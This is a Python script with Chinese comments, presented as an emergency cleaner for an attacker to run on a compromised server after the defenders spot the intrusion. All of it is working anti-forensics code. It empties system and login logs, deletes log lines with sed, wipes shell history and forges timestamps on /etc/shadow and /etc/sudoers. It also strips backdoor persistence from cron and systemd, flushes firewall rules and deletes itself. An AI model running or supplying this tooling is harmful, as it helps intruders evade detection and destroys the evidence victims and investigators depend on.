#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
目标服务器清理器 - 彻底清除所有痕迹和后门
当被蓝队发现后，在目标服务器上执行的紧急清理脚本

清理范围：
1. 所有后门文件和脚本
2. 系统日志和用户历史
3. 网络连接和进程
4. 持久化机制
5. 临时文件和缓存
6. SSH密钥和配置
7. Cron任务和服务
8. 环境变量和别名
"""

import os
import sys
import glob
import time
import shutil
import subprocess
import tempfile
from datetime import datetime
from pathlib import Path

def execute_command(cmd, timeout=10):
    """安全执行命令"""
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, 
                              text=True, timeout=timeout)
        return result.returncode == 0, result.stdout, result.stderr
    except subprocess.TimeoutExpired:
        return False, "", "命令超时"
    except Exception as e:
        return False, "", str(e)

def secure_delete(file_path):
    """安全删除文件"""
    try:
        if os.path.exists(file_path):
            # 尝试使用shred
            success, _, _ = execute_command(f"shred -u '{file_path}'", 5)
            if not success:
                # 备用方案：覆写后删除
                try:
                    with open(file_path, 'wb') as f:
                        f.write(os.urandom(os.path.getsize(file_path)))
                    os.remove(file_path)
                except:
                    # 最后方案：直接删除
                    os.remove(file_path)
            return True
    except:
        return False

def clear_bash_history():
    """清理bash历史"""
    print("🧹 清理bash历史...")
    
    history_files = [
        '~/.bash_history',
        '~/.zsh_history',
        '~/.history',
        '/root/.bash_history',
        '/root/.zsh_history'
    ]
    
    for hist_file in history_files:
        expanded_path = os.path.expanduser(hist_file)
        if os.path.exists(expanded_path):
            try:
                # 清空而不是删除，避免引起注意
                with open(expanded_path, 'w') as f:
                    f.write("")
                print(f"  ✅ 清空: {hist_file}")
            except:
                print(f"  ❌ 失败: {hist_file}")
    
    # 清理当前会话历史
    execute_command("history -c")
    execute_command("history -w")

def remove_backdoor_files():
    """移除后门文件"""
    print("🚪 移除后门文件...")
    
    # 常见后门文件位置
    backdoor_patterns = [
        '/tmp/privilege*',
        '/tmp/backdoor*',
        '/tmp/shell*',
        '/tmp/.*_update',
        '/tmp/.*system*',
        '/var/tmp/.*',
        '/dev/shm/.*',
        '/usr/lib/.*backdoor*',
        '/usr/bin/.*update*',
        '/opt/.*system*'
    ]
    
    for pattern in backdoor_patterns:
        try:
            files = glob.glob(pattern)
            for file_path in files:
                if secure_delete(file_path):
                    print(f"  ✅ 删除: {file_path}")
                else:
                    print(f"  ❌ 失败: {file_path}")
        except:
            pass

def clean_system_logs():
    """清理系统日志"""
    print("📝 清理系统日志...")
    
    # 关键日志文件
    log_files = [
        '/var/log/auth.log',
        '/var/log/secure',
        '/var/log/messages',
        '/var/log/syslog',
        '/var/log/kern.log',
        '/var/log/daemon.log',
        '/var/log/user.log',
        '/var/log/wtmp',
        '/var/log/btmp',
        '/var/log/lastlog'
    ]
    
    for log_file in log_files:
        if os.path.exists(log_file):
            try:
                # 对于二进制日志文件，需要特殊处理
                if log_file.endswith(('wtmp', 'btmp', 'lastlog')):
                    # 清空二进制日志
                    with open(log_file, 'wb') as f:
                        f.write(b'')
                else:
                    # 清空文本日志
                    with open(log_file, 'w') as f:
                        f.write('')
                print(f"  ✅ 清空: {log_file}")
            except:
                print(f"  ❌ 失败: {log_file}")

def remove_ssh_traces():
    """移除SSH痕迹"""
    print("🔑 移除SSH痕迹...")
    
    ssh_locations = [
        '~/.ssh/authorized_keys.bak',
        '~/.ssh/known_hosts.bak',
        '/root/.ssh/authorized_keys.bak',
        '/home/*/.ssh/authorized_keys.bak'
    ]
    
    for location in ssh_locations:
        expanded_path = os.path.expanduser(location)
        try:
            files = glob.glob(expanded_path)
            for file_path in files:
                if secure_delete(file_path):
                    print(f"  ✅ 删除: {file_path}")
        except:
            pass
    
    # 清理SSH日志中的可疑条目
    try:
        # 移除可疑的SSH连接记录
        execute_command("sed -i '/privilege/d' /var/log/auth.log", 5)
        execute_command("sed -i '/backdoor/d' /var/log/auth.log", 5)
        print("  ✅ 清理SSH日志条目")
    except:
        print("  ❌ SSH日志清理失败")

def remove_cron_tasks():
    """移除Cron任务"""
    print("⏰ 移除Cron任务...")
    
    # 检查用户crontab
    success, output, _ = execute_command("crontab -l")
    if success and output:
        # 移除可疑的cron任务
        lines = output.split('\n')
        clean_lines = []
        for line in lines:
            if not any(keyword in line.lower() for keyword in 
                      ['privilege', 'backdoor', 'shell', 'reverse', 'nc ', 'bash -i']):
                clean_lines.append(line)
        
        if len(clean_lines) != len(lines):
            # 重新设置crontab
            temp_file = tempfile.NamedTemporaryFile(mode='w', delete=False)
            temp_file.write('\n'.join(clean_lines))
            temp_file.close()
            
            execute_command(f"crontab {temp_file.name}")
            os.unlink(temp_file.name)
            print("  ✅ 清理用户crontab")
    
    # 检查系统cron目录
    cron_dirs = [
        '/etc/cron.d/',
        '/etc/cron.daily/',
        '/etc/cron.hourly/',
        '/etc/cron.monthly/',
        '/etc/cron.weekly/'
    ]
    
    for cron_dir in cron_dirs:
        if os.path.exists(cron_dir):
            try:
                files = os.listdir(cron_dir)
                for file_name in files:
                    if any(keyword in file_name.lower() for keyword in 
                          ['system', 'update', 'backup', 'tmp']):
                        file_path = os.path.join(cron_dir, file_name)
                        if secure_delete(file_path):
                            print(f"  ✅ 删除: {file_path}")
            except:
                pass

def remove_systemd_services():
    """移除Systemd服务"""
    print("🔧 移除Systemd服务...")
    
    service_dirs = [
        '/etc/systemd/system/',
        '/usr/lib/systemd/system/',
        '/lib/systemd/system/'
    ]
    
    suspicious_keywords = ['system', 'update', 'backup', 'network', 'monitor']
    
    for service_dir in service_dirs:
        if os.path.exists(service_dir):
            try:
                files = os.listdir(service_dir)
                for file_name in files:
                    if file_name.endswith('.service'):
                        # 检查服务文件内容
                        file_path = os.path.join(service_dir, file_name)
                        try:
                            with open(file_path, 'r') as f:
                                content = f.read().lower()
                            
                            if any(keyword in content for keyword in 
                                  ['privilege', 'backdoor', 'shell', 'nc ', '/tmp/']):
                                # 停止并删除可疑服务
                                service_name = file_name.replace('.service', '')
                                execute_command(f"systemctl stop {service_name}")
                                execute_command(f"systemctl disable {service_name}")
                                
                                if secure_delete(file_path):
                                    print(f"  ✅ 删除服务: {file_name}")
                        except:
                            pass
            except:
                pass
    
    # 重新加载systemd配置
    execute_command("systemctl daemon-reload")

def kill_suspicious_processes():
    """终止可疑进程"""
    print("💀 终止可疑进程...")
    
    suspicious_patterns = [
        'privilege',
        'backdoor',
        'shell',
        'reverse',
        'nc.*-l',
        'socat',
        'python.*-c',
        'bash.*-i',
        'sh.*-i'
    ]
    
    for pattern in suspicious_patterns:
        try:
            execute_command(f"pkill -f '{pattern}'", 5)
            print(f"  ✅ 终止进程: {pattern}")
        except:
            pass

def clean_network_connections():
    """清理网络连接"""
    print("🌐 清理网络连接...")
    
    # 终止可疑的网络连接
    try:
        # 获取网络连接列表
        success, output, _ = execute_command("netstat -antp")
        if success:
            lines = output.split('\n')
            for line in lines:
                if any(port in line for port in [':4444', ':8080', ':9999', ':1337', ':31337']):
                    # 提取PID并终止
                    parts = line.split()
                    if len(parts) > 6 and '/' in parts[6]:
                        pid = parts[6].split('/')[0]
                        execute_command(f"kill -9 {pid}")
                        print(f"  ✅ 终止连接PID: {pid}")
    except:
        pass
    
    # 清理iptables规则（如果有权限）
    try:
        execute_command("iptables -F")
        execute_command("iptables -X")
        print("  ✅ 清理iptables规则")
    except:
        pass

def clean_environment_variables():
    """清理环境变量"""
    print("🌍 清理环境变量...")
    
    # 检查并清理可疑的环境变量
    env_files = [
        '~/.bashrc',
        '~/.bash_profile',
        '~/.profile',
        '~/.zshrc',
        '/etc/environment',
        '/etc/profile'
    ]
    
    for env_file in env_files:
        expanded_path = os.path.expanduser(env_file)
        if os.path.exists(expanded_path):
            try:
                with open(expanded_path, 'r') as f:
                    lines = f.readlines()
                
                clean_lines = []
                modified = False
                
                for line in lines:
                    if not any(keyword in line.lower() for keyword in 
                              ['privilege', 'backdoor', 'shell', 'export.*tmp']):
                        clean_lines.append(line)
                    else:
                        modified = True
                
                if modified:
                    with open(expanded_path, 'w') as f:
                        f.writelines(clean_lines)
                    print(f"  ✅ 清理: {env_file}")
            except:
                pass

def clean_temp_files():
    """清理临时文件"""
    print("🗑️ 清理临时文件...")
    
    temp_locations = [
        '/tmp/*privilege*',
        '/tmp/.*',
        '/var/tmp/*',
        '/dev/shm/*',
        '~/.cache/*privilege*',
        '~/.local/share/*privilege*'
    ]
    
    for location in temp_locations:
        expanded_path = os.path.expanduser(location)
        try:
            files = glob.glob(expanded_path)
            for file_path in files:
                # 跳过系统重要文件
                if any(important in file_path for important in 
                      ['/tmp/.X11-unix', '/tmp/.ICE-unix', '/tmp/.font-unix']):
                    continue
                
                try:
                    if os.path.isfile(file_path):
                        secure_delete(file_path)
                    elif os.path.isdir(file_path):
                        shutil.rmtree(file_path)
                    print(f"  ✅ 删除: {file_path}")
                except:
                    pass
        except:
            pass

def forge_timestamps():
    """伪造时间戳"""
    print("⏰ 伪造时间戳...")
    
    # 修改关键文件的访问和修改时间
    critical_files = [
        '/var/log/auth.log',
        '/var/log/secure',
        '/etc/passwd',
        '/etc/shadow',
        '/etc/sudoers'
    ]
    
    # 设置为一周前的时间
    week_ago = time.time() - (7 * 24 * 3600)
    
    for file_path in critical_files:
        if os.path.exists(file_path):
            try:
                os.utime(file_path, (week_ago, week_ago))
                print(f"  ✅ 时间戳伪造: {file_path}")
            except:
                pass

def final_cleanup():
    """最终清理"""
    print("🔥 执行最终清理...")
    
    # 清理命令历史
    execute_command("history -c")
    execute_command("history -w")
    
    # 强制同步文件系统
    execute_command("sync")
    
    # 清理内存缓存
    try:
        execute_command("echo 3 > /proc/sys/vm/drop_caches")
        print("  ✅ 清理内存缓存")
    except:
        pass
    
    # 删除自身（如果可能）
    try:
        script_path = os.path.abspath(__file__)
        if script_path.endswith('.py'):
            # 延迟删除自身
            delete_cmd = f"(sleep 2; rm -f '{script_path}') &"
            execute_command(delete_cmd)
            print("  ✅ 计划删除清理脚本")
    except:
        pass

def main():
    """主清理流程"""
    start_time = time.time()
    
    print("🚨" + "="*50)
    print("🚨 目标服务器紧急清理系统")
    print("🚨 开始执行彻底清理...")
    print("🚨" + "="*50)
    
    # 执行清理步骤
    steps = [
        ("终止可疑进程", kill_suspicious_processes),
        ("清理网络连接", clean_network_connections),
        ("移除后门文件", remove_backdoor_files),
        ("移除SSH痕迹", remove_ssh_traces),
        ("移除Cron任务", remove_cron_tasks),
        ("移除Systemd服务", remove_systemd_services),
        ("清理环境变量", clean_environment_variables),
        ("清理系统日志", clean_system_logs),
        ("清理bash历史", clear_bash_history),
        ("清理临时文件", clean_temp_files),
        ("伪造时间戳", forge_timestamps),
        ("最终清理", final_cleanup)
    ]
    
    for step_name, step_func in steps:
        try:
            print(f"\n📋 执行: {step_name}")
            step_func()
            print(f"✅ 完成: {step_name}")
        except Exception as e:
            print(f"❌ 失败: {step_name} - {e}")
    
    total_time = time.time() - start_time
    
    print("\n" + "="*50)
    print("📊 清理完成总结")
    print("="*50)
    print(f"⏱️  总执行时间: {total_time:.2f}秒")
    print("✅ 目标服务器清理完成")
    print("⚠️  建议立即断开网络连接")
    print("⚠️  建议重新部署受影响系统")
    print("="*50)

if __name__ == "__main__":
    main()